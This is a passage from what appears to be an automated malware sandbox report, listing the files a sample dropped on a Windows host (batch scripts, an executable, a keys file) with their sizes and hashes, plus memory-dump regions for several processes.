    1c82cba52b1ff686d608067692972d7fc807463f75f1eb01510cd032b68de6b26175d41072a494c83c36c88daf56fc58f8231fe9aed63d13bdaccf4844fcbcc5

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wchybwyb.2qt.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\zb202411177412429.bat

    Filesize

    756B

    MD5

    7009e8ec16f77071934f894112998bd3

    SHA1

    6ac2751a7e4d006a504f26b72c393b1f76fd1668

    SHA256

    0060c49f4f0552cd6f3c7ef3f9bb6ff531a0c30f80ec864f7d1b2d5ce59e83bd

    SHA512

    d0fded827084ca581fddf0d8f16b1cb8e21a32690fae4c34f7ae97c187ce8e8c35d8b6edda3be54043ef89fb9d9bd2695520214b1bc7cbee717edd7918407a19

  • C:\Users\Admin\AppData\Local\Temp\zbe202411177412429.bat

    Filesize

    293B

    MD5

    6b3e0f59981076d70801864949a72469

    SHA1

    6bda2f9bdcdeedcfa131686d6fd6c839fedd5fe5

    SHA256

    784ba39e41cfc30a4db5708a56e2f9146fdba9752ddbc8c249d308959807d566

    SHA512

    a8b9838deb86074d7f5f8115750201979ac766522fea6228eea26934ab308daa36678de09a21044b79eaa66199630aa6f5b608e55a83e8d7b3fca0ef6da7067c

  • C:\Users\Admin\AppData\Local\Temp\zx202411177412429.xml

    Filesize

    1KB

    MD5

    3056ddc7672a4d0d21806101a0a9b2e1

    SHA1

    d06bc19212111fd2cb8da89a2679f93b5b81142d

    SHA256

    bdb007597bee52597a896f5cfc3143c70dd25730dd9bbbea2ff5eede7bf31d14

    SHA512

    92bc535b1cce45fd99e144e861d31ab00272aa84f7166eaf1a2ebc5d08e289e588f6ec903e68e45ae877bc3693f3564018ab0b73d79b38bfb0437671d185d4aa

  • C:\Users\Admin\AppData\Roaming\Maintenance\apps\m

    Filesize

    11B

    MD5

    57cb773ae7a82c8c8aae12fa8f8d7abd

    SHA1

    5b30e2c5ecb965cd571ebe6fa56b9b1db7e21ae4

    SHA256

    8589c63b0943a62bfda9b35dccc71a30f5677386f6f7c644c3307465ce2cfa55

    SHA512

    2b76813958b443598c8dbaba0d8e1048d49549862afd49828871d833ff5266cdded2625bf0147dc2be42f857196d34ec6fe4967e49a60b972c014cff51fc0ca8

  • C:\Users\Admin\AppData\Roaming\Maintenance\apps\maintenance.exe

    Filesize

    2.2MB

    MD5

    73ad6d009f1c53c23f5d068caa805299

    SHA1

    f50493f49c3b2b3697b5eb571738dbc70383cac0

    SHA256

    a77315296dc58edac4959c9ed69ec96e9517883684edaeba3e64c48a44c186ae

    SHA512

    1f9c739c7b745ba57b3d7e50e00bac9d3019de25aab5bb22c0da810d963dab93d71c56686fccf737cf87a4c95fe53b8e4b3dda09ac1526fb4899aa0e1336e920

  • C:\Users\Admin\AppData\Roaming\Maintenance\keys.dat

    Filesize

    1KB

    MD5

    42b1e4096b14c143765ec60e9258ee0b

    SHA1

    359af518f9ee7792453c582a32f461db82620acb

    SHA256

    01931ee27cc6ec08b2c2601cc349c908b16dd78c12b99dcf5936381bccc1625c

    SHA512

    1ab943523574dec16a304017d22668c903e5f21c35fea1867f2930ffea80ed8c0c0865f3176d5772988e5a11e48ae7da21bf5b94bb721c2d0c19fead1b0e89f5

  • C:\Users\Admin\AppData\Roaming\Maintenance\mod

    Filesize

    7KB

    MD5

    e0f45d99629efc6b4fd60a23efee6792

    SHA1

    dc4f8df3514e94fc7de410f3ccc42911507453f6

    SHA256

    b290f3cf6bd1da33c0ed8ed1eb4b0e1263691e7585658468c60cb7eb4a35fe47

    SHA512

    ea98b0abab20604d11b8e0a5b1f0a52d8c42da67776d56800c0c9459ae82eef2b2de2d4e88deb525c4728aa8cfbddae38a5c3a31e21b5f495cdd1caa3b4b3f33

  • C:\Users\Admin\AppData\Roaming\Maintenance\wmntnnc

    Filesize

    33.8MB

    MD5

    38b657df43b002bab8fcb08efc0adf49

    SHA1

    8a4dfbe7ff29921ff9f464ba308e4e1f82698613

    SHA256

    e714337ac069b06aa5ba66cc37c55ebf6da0546838e96850818474544742fe58

    SHA512

    79e07ec5c5daff3d6b61024e16423e6225df1f7944296fac0cd3411f2e7f731bbf1461a53602f4472c4880e6ac7837cf295510809441fc3a09625d5094bd9674

  • memory/1196-1200-0x000000000BC70000-0x000000000BC83000-memory.dmp

    Filesize

    76KB

  • memory/1196-1193-0x0000000004240000-0x000000000437C000-memory.dmp

    Filesize

    1.2MB

  • memory/1196-1198-0x0000000004BC0000-0x0000000004C6A000-memory.dmp

    Filesize

    680KB

  • memory/1196-1203-0x000000000BD40000-0x000000000BE0C000-memory.dmp

    Filesize

    816KB

  • memory/1196-1205-0x000000006E510000-0x000000006EA90000-memory.dmp

    Filesize

    5.5MB

  • memory/1196-1201-0x000000000BC90000-0x000000000BD34000-memory.dmp

    Filesize

    656KB

  • memory/1196-1244-0x000000006B000000-0x000000006C64E000-memory.dmp

    Filesize

    22.3MB

  • memory/1196-1199-0x0000000004210000-0x000000000422A000-memory.dmp

    Filesize

    104KB

  • memory/1196-1184-0x0000000004160000-0x0000000004175000-memory.dmp

    Filesize

    84KB

  • memory/1372-26-0x0000000002A50000-0x0000000002A86000-memory.dmp

    Filesize

    216KB

  • memory/1372-48-0x0000000008370000-0x0000000008914000-memory.dmp

    Filesize

    5.6MB

  • memory/1372-40-0x0000000005F80000-0x00000000062D4000-memory.dmp

    Filesize

    3.3MB

  • memory/1372-42-0x00000000063C0000-0x000000000640C000-memory.dmp

    Filesize

    304KB

  • memory/1372-27-0x0000000005620000-0x0000000005C48000-memory.dmp

    Filesize

    6.2MB

  • memory/1372-34-0x0000000005CC0000-0x0000000005D26000-memory.dmp

    Filesize

    408KB

  • memory/1372-35-0x0000000005D30000-0x0000000005D96000-memory.dmp

    Filesize

    408KB

  • memory/1372-41-0x0000000006380000-0x000000000639E000-memory.dmp

    Filesize

    120KB

  • memory/1372-1251-0x00000000091F0000-0x000000000971C000-memory.dmp

    Filesize

    5.2MB

  • memory/1372-44-0x0000000007CF0000-0x000000000836A000-memory.dmp

    Filesize

    6.5MB

  • memory/1372-1250-0x0000000008AF0000-0x0000000008CB2000-memory.dmp

    Filesize

    1.8MB

  • memory/1372-28-0x00000000053C0000-0x00000000053E2000-memory.dmp

    Filesize

    136KB

  • memory/1372-46-0x0000000007670000-0x0000000007706000-memory.dmp

    Filesize

    600KB

  • memory/1372-47-0x0000000007390000-0x00000000073B2000-memory.dmp

    Filesize

    136KB

  • memory/1372-45-0x00000000068D0000-0x00000000068EA000-memory.dmp

    Filesize

    104KB

  • memory/4772-1243-0x0000000000400000-0x0000000000AA3000-memory.dmp

    Filesize

    6.6MB

  • memory/4772-1247-0x0000000000400000-0x0000000000AA3000-memory.dmp

    Filesize

    6.6MB

  • memory/4772-1249-0x0000000000400000-0x0000000000AA3000-memory.dmp

    Filesize

    6.6MB

  • memory/4772-594-0x0000000000400000-0x0000000000AA3000-memory.dmp

    Filesize

    6.6MB

  • memory/4772-23-0x0000000002A60000-0x0000000002A74000-memory.dmp

    Filesize

    80KB

  • memory/4772-1255-0x0000000000400000-0x0000000000AA3000-memory.dmp

    Filesize

    6.6MB

  • memory/4772-1259-0x0000000000400000-0x0000000000AA3000-memory.dmp

    Filesize

    6.6MB